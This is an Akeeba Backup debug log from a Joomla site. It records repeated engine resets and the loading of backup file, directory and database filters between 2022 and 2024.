DEBUG   |20220211 12:42:46|-- Loading filter Skipdirs
DEBUG   |20220211 12:42:46|-- Loading filter Files
DEBUG   |20220211 12:42:46|-- Loading filter Directories
DEBUG   |20220211 12:42:46|-- Loading filter Systemcachefiles
DEBUG   |20220211 12:42:46|-- Loading filter Excludetabledata
DEBUG   |20220211 12:42:46|-- Loading filter Excludefiles
DEBUG   |20220211 12:42:46|-- Loading filter Cvsfolders
DEBUG   |20220211 12:42:46|-- Loading filter Joomlaskipfiles
DEBUG   |20220211 12:42:46|-- Loading filter Excludefolders
DEBUG   |20220211 12:42:46|-- Loading filter Siteroot
DEBUG   |20220211 12:42:46|-- Loading filter Libraries
DEBUG   |20220211 12:42:46|-- Loading filter Joomlaskipdirs
DEBUG   |20220211 12:42:46|-- Loading filter Sitedb
DEBUG   |20220211 12:42:46|Loading optional filters
DEBUG   |20220211 12:42:46|-- Loading optional filter Stack\StackHoststats
DEBUG   |20220211 12:42:46|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20220211 12:42:46|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20220211 12:42:46|-- Loading optional filter Stack\StackMyjoomla
DEBUG   |20220211 12:42:46|-- Loading optional filter Stack\StackFinder
DEBUG   |20220211 12:45:10|Fetching filter data from database
DEBUG   |20220211 12:45:10|Loading filters
DEBUG   |20220211 12:45:10|-- Loading filter Regexskipfiles
DEBUG   |20220211 12:45:10|-- Loading filter Multidb
DEBUG   |20220211 12:45:10|-- Loading filter Tables
DEBUG   |20220211 12:45:10|-- Loading filter Tabledata
DEBUG   |20220211 12:45:10|-- Loading filter Regexdirectories
DEBUG   |20220211 12:45:10|-- Loading filter Extradirs
DEBUG   |20220211 12:45:10|-- Loading filter Regexfiles
DEBUG   |20220211 12:45:10|-- Loading filter Regextabledata
DEBUG   |20220211 12:45:10|-- Loading filter Skipfiles
DEBUG   |20220211 12:45:10|-- Loading filter Regexskipdirs
DEBUG   |20220211 12:45:10|-- Loading filter Incremental
DEBUG   |20220211 12:45:10|-- Loading filter Regextables
DEBUG   |20220211 12:45:10|-- Loading filter Skipdirs
DEBUG   |20220211 12:45:10|-- Loading filter Files
DEBUG   |20220211 12:45:10|-- Loading filter Directories
DEBUG   |20220211 12:45:10|-- Loading filter Systemcachefiles
DEBUG   |20220211 12:45:10|-- Loading filter Excludetabledata
DEBUG   |20220211 12:45:10|-- Loading filter Excludefiles
DEBUG   |20220211 12:45:10|-- Loading filter Cvsfolders
DEBUG   |20220211 12:45:10|-- Loading filter Joomlaskipfiles
DEBUG   |20220211 12:45:10|-- Loading filter Excludefolders
DEBUG   |20220211 12:45:10|-- Loading filter Siteroot
DEBUG   |20220211 12:45:10|-- Loading filter Libraries
DEBUG   |20220211 12:45:10|-- Loading filter Joomlaskipdirs
DEBUG   |20220211 12:45:10|-- Loading filter Sitedb
DEBUG   |20220211 12:45:10|Loading optional filters
DEBUG   |20220211 12:45:10|-- Loading optional filter Stack\StackHoststats
DEBUG   |20220211 12:45:10|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20220211 12:45:10|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20220211 12:45:10|-- Loading optional filter Stack\StackMyjoomla
DEBUG   |20220211 12:45:10|-- Loading optional filter Stack\StackFinder
DEBUG   |20220211 12:52:19|Fetching filter data from database
DEBUG   |20220211 12:52:19|Loading filters
DEBUG   |20220211 12:52:19|-- Loading filter Regexskipfiles
DEBUG   |20220211 12:52:19|-- Loading filter Multidb
DEBUG   |20220211 12:52:19|-- Loading filter Tables
DEBUG   |20220211 12:52:19|-- Loading filter Tabledata
DEBUG   |20220211 12:52:19|-- Loading filter Regexdirectories
DEBUG   |20220211 12:52:19|-- Loading filter Extradirs
DEBUG   |20220211 12:52:19|-- Loading filter Regexfiles
DEBUG   |20220211 12:52:19|-- Loading filter Regextabledata
DEBUG   |20220211 12:52:19|-- Loading filter Skipfiles
DEBUG   |20220211 12:52:19|-- Loading filter Regexskipdirs
DEBUG   |20220211 12:52:19|-- Loading filter Incremental
DEBUG   |20220211 12:52:19|-- Loading filter Regextables
DEBUG   |20220211 12:52:19|-- Loading filter Skipdirs
DEBUG   |20220211 12:52:19|-- Loading filter Files
DEBUG   |20220211 12:52:19|-- Loading filter Directories
DEBUG   |20220211 12:52:19|-- Loading filter Systemcachefiles
DEBUG   |20220211 12:52:19|-- Loading filter Excludetabledata
DEBUG   |20220211 12:52:19|-- Loading filter Excludefiles
DEBUG   |20220211 12:52:19|-- Loading filter Cvsfolders
DEBUG   |20220211 12:52:19|-- Loading filter Joomlaskipfiles
DEBUG   |20220211 12:52:19|-- Loading filter Excludefolders
DEBUG   |20220211 12:52:19|-- Loading filter Siteroot
DEBUG   |20220211 12:52:19|-- Loading filter Libraries
DEBUG   |20220211 12:52:19|-- Loading filter Joomlaskipdirs
DEBUG   |20220211 12:52:19|-- Loading filter Sitedb
DEBUG   |20220211 12:52:19|Loading optional filters
DEBUG   |20220211 12:52:19|-- Loading optional filter Stack\StackHoststats
DEBUG   |20220211 12:52:19|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20220211 12:52:19|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20220211 12:52:19|-- Loading optional filter Stack\StackMyjoomla
DEBUG   |20220211 12:52:19|-- Loading optional filter Stack\StackFinder
DEBUG   |20220211 12:52:54|Fetching filter data from database
DEBUG   |20220211 12:52:54|Loading filters
DEBUG   |20220211 12:52:54|-- Loading filter Regexskipfiles
DEBUG   |20220211 12:52:54|-- Loading filter Multidb
DEBUG   |20220211 12:52:54|-- Loading filter Tables
DEBUG   |20220211 12:52:54|-- Loading filter Tabledata
DEBUG   |20220211 12:52:54|-- Loading filter Regexdirectories
DEBUG   |20220211 12:52:54|-- Loading filter Extradirs
DEBUG   |20220211 12:52:54|-- Loading filter Regexfiles
DEBUG   |20220211 12:52:54|-- Loading filter Regextabledata
DEBUG   |20220211 12:52:54|-- Loading filter Skipfiles
DEBUG   |20220211 12:52:54|-- Loading filter Regexskipdirs
DEBUG   |20220211 12:52:54|-- Loading filter Incremental
DEBUG   |20220211 12:52:54|-- Loading filter Regextables
DEBUG   |20220211 12:52:54|-- Loading filter Skipdirs
DEBUG   |20220211 12:52:54|-- Loading filter Files
DEBUG   |20220211 12:52:54|-- Loading filter Directories
DEBUG   |20220211 12:52:54|-- Loading filter Systemcachefiles
DEBUG   |20220211 12:52:54|-- Loading filter Excludetabledata
DEBUG   |20220211 12:52:54|-- Loading filter Excludefiles
DEBUG   |20220211 12:52:54|-- Loading filter Cvsfolders
DEBUG   |20220211 12:52:54|-- Loading filter Joomlaskipfiles
DEBUG   |20220211 12:52:54|-- Loading filter Excludefolders
DEBUG   |20220211 12:52:54|-- Loading filter Siteroot
DEBUG   |20220211 12:52:54|-- Loading filter Libraries
DEBUG   |20220211 12:52:54|-- Loading filter Joomlaskipdirs
DEBUG   |20220211 12:52:54|-- Loading filter Sitedb
DEBUG   |20220211 12:52:54|Loading optional filters
DEBUG   |20220211 12:52:54|-- Loading optional filter Stack\StackHoststats
DEBUG   |20220211 12:52:54|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20220211 12:52:54|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20220211 12:52:54|-- Loading optional filter Stack\StackMyjoomla
DEBUG   |20220211 12:52:54|-- Loading optional filter Stack\StackFinder
DEBUG   |20220211 12:55:54| -- Resetting Akeeba Engine factory (backend.id-20220211-125554-388858)
DEBUG   |20220211 12:55:54|Fetching filter data from database
DEBUG   |20220211 12:55:54|Loading filters
DEBUG   |20220211 12:55:54|-- Loading filter Regexskipfiles
DEBUG   |20220211 12:55:54|-- Loading filter Multidb
DEBUG   |20220211 12:55:54|-- Loading filter Tables
DEBUG   |20220211 12:55:54|-- Loading filter Tabledata
DEBUG   |20220211 12:55:54|-- Loading filter Regexdirectories
DEBUG   |20220211 12:55:54|-- Loading filter Extradirs
DEBUG   |20220211 12:55:54|-- Loading filter Regexfiles
DEBUG   |20220211 12:55:54|-- Loading filter Regextabledata
DEBUG   |20220211 12:55:54|-- Loading filter Skipfiles
DEBUG   |20220211 12:55:54|-- Loading filter Regexskipdirs
DEBUG   |20220211 12:55:54|-- Loading filter Incremental
DEBUG   |20220211 12:55:54|-- Loading filter Regextables
DEBUG   |20220211 12:55:54|-- Loading filter Skipdirs
DEBUG   |20220211 12:55:54|-- Loading filter Files
DEBUG   |20220211 12:55:54|-- Loading filter Directories
DEBUG   |20220211 12:55:54|-- Loading filter Systemcachefiles
DEBUG   |20220211 12:55:54|-- Loading filter Excludetabledata
DEBUG   |20220211 12:55:54|-- Loading filter Excludefiles
DEBUG   |20220211 12:55:54|-- Loading filter Cvsfolders
DEBUG   |20220211 12:55:54|-- Loading filter Joomlaskipfiles
DEBUG   |20220211 12:55:54|-- Loading filter Excludefolders
DEBUG   |20220211 12:55:54|-- Loading filter Siteroot
DEBUG   |20220211 12:55:54|-- Loading filter Libraries
DEBUG   |20220211 12:55:54|-- Loading filter Joomlaskipdirs
DEBUG   |20220211 12:55:54|-- Loading filter Sitedb
DEBUG   |20220211 12:55:54|Loading optional filters
DEBUG   |20220211 12:55:54|-- Loading optional filter Stack\StackHoststats
DEBUG   |20220211 12:55:54|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20220211 12:55:54|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20220211 12:55:54|-- Loading optional filter Stack\StackMyjoomla
DEBUG   |20220211 12:55:54|-- Loading optional filter Stack\StackFinder
DEBUG   |20220903 14:03:20| -- Resetting Akeeba Engine factory (backend.id-20220903-140320-341043)
DEBUG   |20220903 14:03:20|Fetching filter data from database
DEBUG   |20220903 14:03:20|Loading filters
DEBUG   |20220903 14:03:20|-- Loading filter Regexskipfiles
DEBUG   |20220903 14:03:20|-- Loading filter Multidb
DEBUG   |20220903 14:03:20|-- Loading filter Tables
DEBUG   |20220903 14:03:20|-- Loading filter Tabledata
DEBUG   |20220903 14:03:20|-- Loading filter Regexdirectories
DEBUG   |20220903 14:03:20|-- Loading filter Extradirs
DEBUG   |20220903 14:03:20|-- Loading filter Regexfiles
DEBUG   |20220903 14:03:20|-- Loading filter Regextabledata
DEBUG   |20220903 14:03:20|-- Loading filter Skipfiles
DEBUG   |20220903 14:03:20|-- Loading filter Regexskipdirs
DEBUG   |20220903 14:03:20|-- Loading filter Incremental
DEBUG   |20220903 14:03:20|-- Loading filter Regextables
DEBUG   |20220903 14:03:20|-- Loading filter Skipdirs
DEBUG   |20220903 14:03:20|-- Loading filter Files
DEBUG   |20220903 14:03:20|-- Loading filter Directories
DEBUG   |20220903 14:03:20|-- Loading filter Systemcachefiles
DEBUG   |20220903 14:03:20|-- Loading filter Excludetabledata
DEBUG   |20220903 14:03:20|-- Loading filter Excludefiles
DEBUG   |20220903 14:03:20|-- Loading filter Cvsfolders
DEBUG   |20220903 14:03:20|-- Loading filter Joomlaskipfiles
DEBUG   |20220903 14:03:20|-- Loading filter Excludefolders
DEBUG   |20220903 14:03:20|-- Loading filter Siteroot
DEBUG   |20220903 14:03:20|-- Loading filter Libraries
DEBUG   |20220903 14:03:20|-- Loading filter Joomlaskipdirs
DEBUG   |20220903 14:03:20|-- Loading filter Sitedb
DEBUG   |20220903 14:03:20|Loading optional filters
DEBUG   |20220903 14:03:20|-- Loading optional filter Stack\StackHoststats
DEBUG   |20220903 14:03:20|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20220903 14:03:20|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20220903 14:03:20|-- Loading optional filter Stack\StackMyjoomla
DEBUG   |20220903 14:03:20|-- Loading optional filter Stack\StackFinder
DEBUG   |20221217 16:47:49| -- Resetting Akeeba Engine factory (backend.id-20221217-164749-928927)
DEBUG   |20221217 16:47:49|Fetching filter data from database
DEBUG   |20221217 16:47:49|Loading filters
DEBUG   |20221217 16:47:49|-- Loading filter Regexskipfiles
DEBUG   |20221217 16:47:49|-- Loading filter Multidb
DEBUG   |20221217 16:47:49|-- Loading filter Tables
DEBUG   |20221217 16:47:49|-- Loading filter Tabledata
DEBUG   |20221217 16:47:49|-- Loading filter Regexdirectories
DEBUG   |20221217 16:47:49|-- Loading filter Extradirs
DEBUG   |20221217 16:47:49|-- Loading filter Regexfiles
DEBUG   |20221217 16:47:49|-- Loading filter Regextabledata
DEBUG   |20221217 16:47:49|-- Loading filter Skipfiles
DEBUG   |20221217 16:47:49|-- Loading filter Regexskipdirs
DEBUG   |20221217 16:47:49|-- Loading filter Incremental
DEBUG   |20221217 16:47:49|-- Loading filter Regextables
DEBUG   |20221217 16:47:49|-- Loading filter Skipdirs
DEBUG   |20221217 16:47:49|-- Loading filter Files
DEBUG   |20221217 16:47:49|-- Loading filter Directories
DEBUG   |20221217 16:47:49|-- Loading filter Systemcachefiles
DEBUG   |20221217 16:47:49|-- Loading filter Excludetabledata
DEBUG   |20221217 16:47:49|-- Loading filter Excludefiles
DEBUG   |20221217 16:47:49|-- Loading filter Cvsfolders
DEBUG   |20221217 16:47:49|-- Loading filter Joomlaskipfiles
DEBUG   |20221217 16:47:49|-- Loading filter Excludefolders
DEBUG   |20221217 16:47:49|-- Loading filter Siteroot
DEBUG   |20221217 16:47:49|-- Loading filter Libraries
DEBUG   |20221217 16:47:49|-- Loading filter Joomlaskipdirs
DEBUG   |20221217 16:47:49|-- Loading filter Sitedb
DEBUG   |20221217 16:47:49|Loading optional filters
DEBUG   |20221217 16:47:49|-- Loading optional filter Stack\StackHoststats
DEBUG   |20221217 16:47:49|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20221217 16:47:49|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20221217 16:47:49|-- Loading optional filter Stack\StackMyjoomla
DEBUG   |20221217 16:47:49|-- Loading optional filter Stack\StackFinder
DEBUG   |20230201 14:46:34| -- Resetting Akeeba Engine factory (backend.id-20230201-144634-852608)
DEBUG   |20230201 14:46:34|Fetching filter data from database
DEBUG   |20230201 14:46:34|Loading filters
DEBUG   |20230201 14:46:34|-- Loading filter Regexskipfiles
DEBUG   |20230201 14:46:34|-- Loading filter Multidb
DEBUG   |20230201 14:46:34|-- Loading filter Tables
DEBUG   |20230201 14:46:34|-- Loading filter Tabledata
DEBUG   |20230201 14:46:34|-- Loading filter Regexdirectories
DEBUG   |20230201 14:46:34|-- Loading filter Extradirs
DEBUG   |20230201 14:46:34|-- Loading filter Regexfiles
DEBUG   |20230201 14:46:34|-- Loading filter Regextabledata
DEBUG   |20230201 14:46:34|-- Loading filter Skipfiles
DEBUG   |20230201 14:46:34|-- Loading filter Regexskipdirs
DEBUG   |20230201 14:46:34|-- Loading filter Incremental
DEBUG   |20230201 14:46:34|-- Loading filter Regextables
DEBUG   |20230201 14:46:34|-- Loading filter Skipdirs
DEBUG   |20230201 14:46:34|-- Loading filter Files
DEBUG   |20230201 14:46:34|-- Loading filter Directories
DEBUG   |20230201 14:46:34|-- Loading filter Systemcachefiles
DEBUG   |20230201 14:46:34|-- Loading filter Excludetabledata
DEBUG   |20230201 14:46:34|-- Loading filter Excludefiles
DEBUG   |20230201 14:46:34|-- Loading filter Cvsfolders
DEBUG   |20230201 14:46:34|-- Loading filter Joomlaskipfiles
DEBUG   |20230201 14:46:34|-- Loading filter Excludefolders
DEBUG   |20230201 14:46:34|-- Loading filter Siteroot
DEBUG   |20230201 14:46:34|-- Loading filter Libraries
DEBUG   |20230201 14:46:34|-- Loading filter Joomlaskipdirs
DEBUG   |20230201 14:46:34|-- Loading filter Sitedb
DEBUG   |20230201 14:46:34|Loading optional filters
DEBUG   |20230201 14:46:34|-- Loading optional filter Stack\StackHoststats
DEBUG   |20230201 14:46:34|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20230201 14:46:34|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20230201 14:46:34|-- Loading optional filter Stack\StackMyjoomla
DEBUG   |20230201 14:46:34|-- Loading optional filter Stack\StackFinder
DEBUG   |20230202 14:55:56| -- Resetting Akeeba Engine factory (backend.id-20230202-145556-35967)
DEBUG   |20230202 14:55:56|Fetching filter data from database
DEBUG   |20230202 14:55:56|Loading filters
DEBUG   |20230202 14:55:56|-- Loading filter Regexskipfiles
DEBUG   |20230202 14:55:56|-- Loading filter Multidb
DEBUG   |20230202 14:55:56|-- Loading filter Tables
DEBUG   |20230202 14:55:56|-- Loading filter Tabledata
DEBUG   |20230202 14:55:56|-- Loading filter Regexdirectories
DEBUG   |20230202 14:55:56|-- Loading filter Extradirs
DEBUG   |20230202 14:55:56|-- Loading filter Regexfiles
DEBUG   |20230202 14:55:56|-- Loading filter Regextabledata
DEBUG   |20230202 14:55:56|-- Loading filter Skipfiles
DEBUG   |20230202 14:55:56|-- Loading filter Regexskipdirs
DEBUG   |20230202 14:55:56|-- Loading filter Incremental
DEBUG   |20230202 14:55:56|-- Loading filter Regextables
DEBUG   |20230202 14:55:56|-- Loading filter Skipdirs
DEBUG   |20230202 14:55:56|-- Loading filter Files
DEBUG   |20230202 14:55:56|-- Loading filter Directories
DEBUG   |20230202 14:55:56|-- Loading filter Systemcachefiles
DEBUG   |20230202 14:55:56|-- Loading filter Excludetabledata
DEBUG   |20230202 14:55:56|-- Loading filter Excludefiles
DEBUG   |20230202 14:55:56|-- Loading filter Cvsfolders
DEBUG   |20230202 14:55:56|-- Loading filter Joomlaskipfiles
DEBUG   |20230202 14:55:56|-- Loading filter Excludefolders
DEBUG   |20230202 14:55:56|-- Loading filter Siteroot
DEBUG   |20230202 14:55:56|-- Loading filter Libraries
DEBUG   |20230202 14:55:56|-- Loading filter Joomlaskipdirs
DEBUG   |20230202 14:55:56|-- Loading filter Sitedb
DEBUG   |20230202 14:55:56|Loading optional filters
DEBUG   |20230202 14:55:56|-- Loading optional filter Stack\StackHoststats
DEBUG   |20230202 14:55:56|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20230202 14:55:56|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20230202 14:55:56|-- Loading optional filter Stack\StackMyjoomla
DEBUG   |20230202 14:55:56|-- Loading optional filter Stack\StackFinder
DEBUG   |20230425 17:39:54| -- Resetting Akeeba Engine factory (backend.id-20230425-173954-372224)
DEBUG   |20230425 17:39:54|Fetching filter data from database
DEBUG   |20230425 17:39:54|Loading filters
DEBUG   |20230425 17:39:54|-- Loading filter Regexskipfiles
DEBUG   |20230425 17:39:54|-- Loading filter Multidb
DEBUG   |20230425 17:39:54|-- Loading filter Tables
DEBUG   |20230425 17:39:54|-- Loading filter Tabledata
DEBUG   |20230425 17:39:54|-- Loading filter Regexdirectories
DEBUG   |20230425 17:39:54|-- Loading filter Tablesalwaysskipped
DEBUG   |20230425 17:39:54|-- Loading filter Extradirs
DEBUG   |20230425 17:39:54|-- Loading filter Regexfiles
DEBUG   |20230425 17:39:54|-- Loading filter Regextabledata
DEBUG   |20230425 17:39:54|-- Loading filter Skipfiles
DEBUG   |20230425 17:39:54|-- Loading filter Regexskipdirs
DEBUG   |20230425 17:39:54|-- Loading filter Incremental
DEBUG   |20230425 17:39:54|-- Loading filter Regextables
DEBUG   |20230425 17:39:54|-- Loading filter Skipdirs
DEBUG   |20230425 17:39:54|-- Loading filter Files
DEBUG   |20230425 17:39:54|-- Loading filter Directories
DEBUG   |20230425 17:39:54|-- Loading filter Systemcachefiles
DEBUG   |20230425 17:39:54|-- Loading filter Excludetabledata
DEBUG   |20230425 17:39:54|-- Loading filter Excludefiles
DEBUG   |20230425 17:39:54|-- Loading filter Cvsfolders
DEBUG   |20230425 17:39:54|-- Loading filter Joomlaskipfiles
DEBUG   |20230425 17:39:54|-- Loading filter Excludefolders
DEBUG   |20230425 17:39:54|-- Loading filter Siteroot
DEBUG   |20230425 17:39:54|-- Loading filter Libraries
DEBUG   |20230425 17:39:54|-- Loading filter Joomlaskipdirs
DEBUG   |20230425 17:39:54|-- Loading filter Sitedb
DEBUG   |20230425 17:39:54|Loading optional filters
DEBUG   |20230425 17:39:54|-- Loading optional filter Stack\StackHoststats
DEBUG   |20230425 17:39:54|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20230425 17:39:54|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20230425 17:39:54|-- Loading optional filter Stack\StackFinder
DEBUG   |20230614 18:35:08| -- Resetting Akeeba Engine factory (backend.id-20230614-183508-866068)
DEBUG   |20230614 18:35:08|Fetching filter data from database
DEBUG   |20230614 18:35:08|Loading filters
DEBUG   |20230614 18:35:08|-- Loading filter Regexskipfiles
DEBUG   |20230614 18:35:08|-- Loading filter Multidb
DEBUG   |20230614 18:35:08|-- Loading filter Tables
DEBUG   |20230614 18:35:08|-- Loading filter Tabledata
DEBUG   |20230614 18:35:08|-- Loading filter Regexdirectories
DEBUG   |20230614 18:35:08|-- Loading filter Tablesalwaysskipped
DEBUG   |20230614 18:35:08|-- Loading filter Extradirs
DEBUG   |20230614 18:35:08|-- Loading filter Regexfiles
DEBUG   |20230614 18:35:08|-- Loading filter Regextabledata
DEBUG   |20230614 18:35:08|-- Loading filter Skipfiles
DEBUG   |20230614 18:35:08|-- Loading filter Regexskipdirs
DEBUG   |20230614 18:35:08|-- Loading filter Incremental
DEBUG   |20230614 18:35:08|-- Loading filter Regextables
DEBUG   |20230614 18:35:08|-- Loading filter Skipdirs
DEBUG   |20230614 18:35:08|-- Loading filter Files
DEBUG   |20230614 18:35:08|-- Loading filter Directories
DEBUG   |20230614 18:35:08|-- Loading filter Systemcachefiles
DEBUG   |20230614 18:35:08|-- Loading filter Excludetabledata
DEBUG   |20230614 18:35:08|-- Loading filter Excludefiles
DEBUG   |20230614 18:35:08|-- Loading filter Cvsfolders
DEBUG   |20230614 18:35:08|-- Loading filter Joomlaskipfiles
DEBUG   |20230614 18:35:08|-- Loading filter Excludefolders
DEBUG   |20230614 18:35:08|-- Loading filter Siteroot
DEBUG   |20230614 18:35:08|-- Loading filter Libraries
DEBUG   |20230614 18:35:08|-- Loading filter Joomlaskipdirs
DEBUG   |20230614 18:35:08|-- Loading filter Sitedb
DEBUG   |20230614 18:35:08|Loading optional filters
DEBUG   |20230614 18:35:08|-- Loading optional filter Stack\StackHoststats
DEBUG   |20230614 18:35:08|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20230614 18:35:08|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20230614 18:35:08|-- Loading optional filter Stack\StackFinder
DEBUG   |20230825 18:44:53| -- Resetting Akeeba Engine factory (backend.id-20230825-184453-956211)
DEBUG   |20230825 18:44:53|Fetching filter data from database
DEBUG   |20230825 18:44:53|Loading filters
DEBUG   |20230825 18:44:53|-- Loading filter Regexskipfiles
DEBUG   |20230825 18:44:53|-- Loading filter Multidb
DEBUG   |20230825 18:44:53|-- Loading filter Tables
DEBUG   |20230825 18:44:53|-- Loading filter Tabledata
DEBUG   |20230825 18:44:53|-- Loading filter Regexdirectories
DEBUG   |20230825 18:44:53|-- Loading filter Tablesalwaysskipped
DEBUG   |20230825 18:44:53|-- Loading filter Extradirs
DEBUG   |20230825 18:44:53|-- Loading filter Regexfiles
DEBUG   |20230825 18:44:53|-- Loading filter Regextabledata
DEBUG   |20230825 18:44:53|-- Loading filter Skipfiles
DEBUG   |20230825 18:44:53|-- Loading filter Regexskipdirs
DEBUG   |20230825 18:44:53|-- Loading filter Incremental
DEBUG   |20230825 18:44:53|-- Loading filter Regextables
DEBUG   |20230825 18:44:53|-- Loading filter Skipdirs
DEBUG   |20230825 18:44:53|-- Loading filter Files
DEBUG   |20230825 18:44:53|-- Loading filter Directories
DEBUG   |20230825 18:44:53|-- Loading filter Systemcachefiles
DEBUG   |20230825 18:44:53|-- Loading filter Excludetabledata
DEBUG   |20230825 18:44:53|-- Loading filter Excludefiles
DEBUG   |20230825 18:44:53|-- Loading filter Cvsfolders
DEBUG   |20230825 18:44:53|-- Loading filter Joomlaskipfiles
DEBUG   |20230825 18:44:53|-- Loading filter Excludefolders
DEBUG   |20230825 18:44:53|-- Loading filter Siteroot
DEBUG   |20230825 18:44:53|-- Loading filter Libraries
DEBUG   |20230825 18:44:53|-- Loading filter Joomlaskipdirs
DEBUG   |20230825 18:44:53|-- Loading filter Sitedb
DEBUG   |20230825 18:44:53|Loading optional filters
DEBUG   |20230825 18:44:53|-- Loading optional filter Stack\StackHoststats
DEBUG   |20230825 18:44:53|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20230825 18:44:53|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20230825 18:44:53|-- Loading optional filter Stack\StackFinder
DEBUG   |20231019 16:23:49| -- Resetting Akeeba Engine factory (backend.id-20231019-162349-87041)
DEBUG   |20231019 16:23:49|Fetching filter data from database
DEBUG   |20231019 16:23:49|Loading filters
DEBUG   |20231019 16:23:49|-- Loading filter Regexskipfiles
DEBUG   |20231019 16:23:49|-- Loading filter Multidb
DEBUG   |20231019 16:23:49|-- Loading filter Tables
DEBUG   |20231019 16:23:49|-- Loading filter Tabledata
DEBUG   |20231019 16:23:49|-- Loading filter Regexdirectories
DEBUG   |20231019 16:23:49|-- Loading filter Tablesalwaysskipped
DEBUG   |20231019 16:23:49|-- Loading filter Extradirs
DEBUG   |20231019 16:23:49|-- Loading filter Regexfiles
DEBUG   |20231019 16:23:49|-- Loading filter Regextabledata
DEBUG   |20231019 16:23:49|-- Loading filter Skipfiles
DEBUG   |20231019 16:23:49|-- Loading filter Regexskipdirs
DEBUG   |20231019 16:23:49|-- Loading filter Incremental
DEBUG   |20231019 16:23:49|-- Loading filter Regextables
DEBUG   |20231019 16:23:49|-- Loading filter Skipdirs
DEBUG   |20231019 16:23:49|-- Loading filter Files
DEBUG   |20231019 16:23:49|-- Loading filter Directories
DEBUG   |20231019 16:23:49|-- Loading filter Systemcachefiles
DEBUG   |20231019 16:23:49|-- Loading filter Excludetabledata
DEBUG   |20231019 16:23:49|-- Loading filter Excludefiles
DEBUG   |20231019 16:23:49|-- Loading filter Cvsfolders
DEBUG   |20231019 16:23:49|-- Loading filter Joomlaskipfiles
DEBUG   |20231019 16:23:49|-- Loading filter Excludefolders
DEBUG   |20231019 16:23:49|-- Loading filter Siteroot
DEBUG   |20231019 16:23:49|-- Loading filter Libraries
DEBUG   |20231019 16:23:49|-- Loading filter Joomlaskipdirs
DEBUG   |20231019 16:23:49|-- Loading filter Sitedb
DEBUG   |20231019 16:23:49|Loading optional filters
DEBUG   |20231019 16:23:49|-- Loading optional filter Stack\StackHoststats
DEBUG   |20231019 16:23:49|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20231019 16:23:49|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20231019 16:23:49|-- Loading optional filter Stack\StackFinder
DEBUG   |20231028 00:00:29| -- Resetting Akeeba Engine factory (backend.id-20231028-000029-546163)
DEBUG   |20231028 00:00:29|Fetching filter data from database
DEBUG   |20231028 00:00:29|Loading filters
DEBUG   |20231028 00:00:29|-- Loading filter Regexskipfiles
DEBUG   |20231028 00:00:29|-- Loading filter Multidb
DEBUG   |20231028 00:00:29|-- Loading filter Tables
DEBUG   |20231028 00:00:29|-- Loading filter Tabledata
DEBUG   |20231028 00:00:29|-- Loading filter Regexdirectories
DEBUG   |20231028 00:00:29|-- Loading filter Tablesalwaysskipped
DEBUG   |20231028 00:00:29|-- Loading filter Extradirs
DEBUG   |20231028 00:00:29|-- Loading filter Regexfiles
DEBUG   |20231028 00:00:29|-- Loading filter Regextabledata
DEBUG   |20231028 00:00:29|-- Loading filter Skipfiles
DEBUG   |20231028 00:00:29|-- Loading filter Regexskipdirs
DEBUG   |20231028 00:00:29|-- Loading filter Incremental
DEBUG   |20231028 00:00:29|-- Loading filter Regextables
DEBUG   |20231028 00:00:29|-- Loading filter Skipdirs
DEBUG   |20231028 00:00:29|-- Loading filter Files
DEBUG   |20231028 00:00:29|-- Loading filter Directories
DEBUG   |20231028 00:00:29|-- Loading filter Systemcachefiles
DEBUG   |20231028 00:00:29|-- Loading filter Excludetabledata
DEBUG   |20231028 00:00:29|-- Loading filter Excludefiles
DEBUG   |20231028 00:00:29|-- Loading filter Cvsfolders
DEBUG   |20231028 00:00:29|-- Loading filter Publicfolder
DEBUG   |20231028 00:00:29|-- Loading filter Joomlaskipfiles
DEBUG   |20231028 00:00:29|-- Loading filter Excludefolders
DEBUG   |20231028 00:00:29|-- Loading filter Siteroot
DEBUG   |20231028 00:00:29|-- Loading filter Libraries
DEBUG   |20231028 00:00:29|-- Loading filter Joomlaskipdirs
DEBUG   |20231028 00:00:29|-- Loading filter Sitedb
DEBUG   |20231028 00:00:29|Loading optional filters
DEBUG   |20231028 00:00:29|-- Loading optional filter Stack\StackHoststats
DEBUG   |20231028 00:00:29|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20231028 00:00:29|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20231028 00:00:29|-- Loading optional filter Stack\StackFinder
DEBUG   |20240101 17:41:25| -- Resetting Akeeba Engine factory (backend.id-20240101-174125-870961)
DEBUG   |20240101 17:41:25|Fetching filter data from database
DEBUG   |20240101 17:41:25|Loading filters
DEBUG   |20240101 17:41:25|-- Loading filter Regexskipfiles
DEBUG   |20240101 17:41:25|-- Loading filter Multidb
DEBUG   |20240101 17:41:25|-- Loading filter Tables
DEBUG   |20240101 17:41:25|-- Loading filter Tabledata
DEBUG   |20240101 17:41:25|-- Loading filter Regexdirectories
DEBUG   |20240101 17:41:25|-- Loading filter Tablesalwaysskipped
DEBUG   |20240101 17:41:25|-- Loading filter Extradirs
DEBUG   |20240101 17:41:25|-- Loading filter Regexfiles
DEBUG   |20240101 17:41:25|-- Loading filter Regextabledata
DEBUG   |20240101 17:41:25|-- Loading filter Skipfiles
